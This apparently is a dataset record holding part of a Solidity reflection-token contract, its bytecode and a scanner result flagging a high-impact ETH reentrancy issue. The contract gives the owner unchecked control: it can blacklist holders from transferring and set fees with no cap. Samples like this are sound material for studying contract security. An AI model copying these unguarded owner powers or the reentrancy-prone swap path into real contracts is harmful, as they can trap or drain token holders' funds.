uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a81526954697474657220496e7560b01b60208201525b60405161023a9190611a24565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a79565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa5565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b13565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b13565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600481526354494e5560e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026361050b366004611a79565b610972565b34801561051c57600080fd5b5061026361052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220759e34bb20519d3f53aac4289f8cfd18ba8274b486125706d230e580a7cb8c1664736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.